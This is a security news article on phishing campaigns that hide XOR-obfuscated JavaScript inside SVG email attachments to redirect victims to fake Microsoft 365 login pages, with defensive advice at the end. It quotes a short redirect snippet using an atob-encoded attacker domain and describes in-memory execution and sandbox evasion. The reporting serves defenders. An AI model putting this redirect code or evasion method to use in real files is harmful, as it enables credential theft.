Cyber Security News

Threat Actors Weaponizing SVG Files to Embed Malicious JavaScript

Threat actors are quietly turning Scalable Vector Graphics (SVG) files into precision-guided malware. In a surge of phishing campaigns, seemingly innocuous .svg attachments slip past secure email gateways because mail filters regard them as static images.

Once the recipient merely previews the file, hidden JavaScript executes inside the browser, triggering an invisible redirect chain that funnels victims to attacker infrastructure.

The Recipient’s perspective (Source – Ontinue)

The lure emails are minimalist—often a single icon or “Missed Call” teaser—and exploit organisations that have weak SPF, DKIM or DMARC enforcement.

As the attachments bypass signature checks, the first line of defence fails; Ontinue analysts identified the wave after correlating near-identical SVGs sent to B2B service providers and SaaS vendors, all containing distinct Base64 tracking strings that map each click to a workstation.

Since no executable is dropped, endpoint agents see only normal browser activity while credentials are siphoned off on well-crafted Microsoft 365 look-alike portals.

Typical M365 Credential Phishing (Source – Ontinue)

Beyond credential theft, the technique exemplifies a broader strategic pivot: adversaries increasingly weaponise file formats that browsers render natively, removing the social-engineering friction of persuading users to run macros or installers.

Security controls that focus on executables, archives or scripts alone find themselves blind to these pixel-perfect stings.

Infection Mechanism: Self-Decoding JavaScript Smuggling

Each malicious SVG embeds an obfuscated payload between “ tags. A ten-byte XOR key masks the script, frustrating static scanners, while a two-stage routine reconstructs the redirect at runtime.

First, a short function iterates through the encrypted blob, returning plaintext; then it leverages the Function constructor to execute that code entirely in memory.

The revived script concatenates an atob()-decoded domain with a victim-specific token before forcing navigation:-

window.location.href = atob(
  'aHR0cHM6Ly93dnJ6LmxmdGt2b2cubmV0L...' // domain rotates daily
) + token;

As nothing is written to disk, persistence is irrelevant, and geofencing logic ensures sandboxes outside the target region receive benign pages.

Detecting the threat therefore hinges on deep content inspection that flags script tags inside image files or on correlating unusual .svg command-line invocations with email telemetry.

Until such controls mature, organisations should quarantine unsolicited SVGs, enable content disarm and reconstruction, and move DMARC policies from monitoring to reject.

Boost detection, reduce alert fatigue, accelerate response; all with an interactive sandbox built for security teams -> Try ANY.RUN Now

Tushar Subhra Dutta

Tushar is a senior cybersecurity and breach reporter. He specializes in covering cybersecurity news, trends, and emerging threats, data breaches, and malware attacks. With years of experience, he brings clarity and depth to complex security topics.

Recent Posts

Dark Caracal Hackers Use Ethereum Blockchain to Keep New Malware Connected After C2 Disruption

Dark Caracal has returned with a new tool that helps attackers stay connected when defenders…

21 minutes ago

Claude Code Opus 5 Auto Mode Hijacked via Prompt Injection to Execute Malicious Code

Claude Code Opus 5 in Auto Mode can be tricked into running malicious code via…

1 hour ago

CISA Warns of Linux Kernel Privilege Escalation Vulnerability Exploited in Attacks

The U.S. Cybersecurity and Infrastructure Security Agency has added a Linux kernel vulnerability, tracked as…

2 hours ago

Hackers Steal Data of 8.7 Million Customers in Cyberattack on Three UK Airports

Cybercriminals have stolen the personal data of about 8.7 million customers following a cyberattack on…

3 hours ago

100+ Tech and Security Organizations Call for Global Cyber Defense Surge Against AI Attacks

More than 100 technology, cybersecurity, and financial-services organizations have joined OpenAI in an open letter…

4 hours ago

Hackers Abuse Active Directory SPN Misconfigurations for Stealthy Kerberoasting Attacks

Threat actors are increasingly abusing overlooked Active Directory service principal name (SPN) misconfigurations to launch…

5 hours ago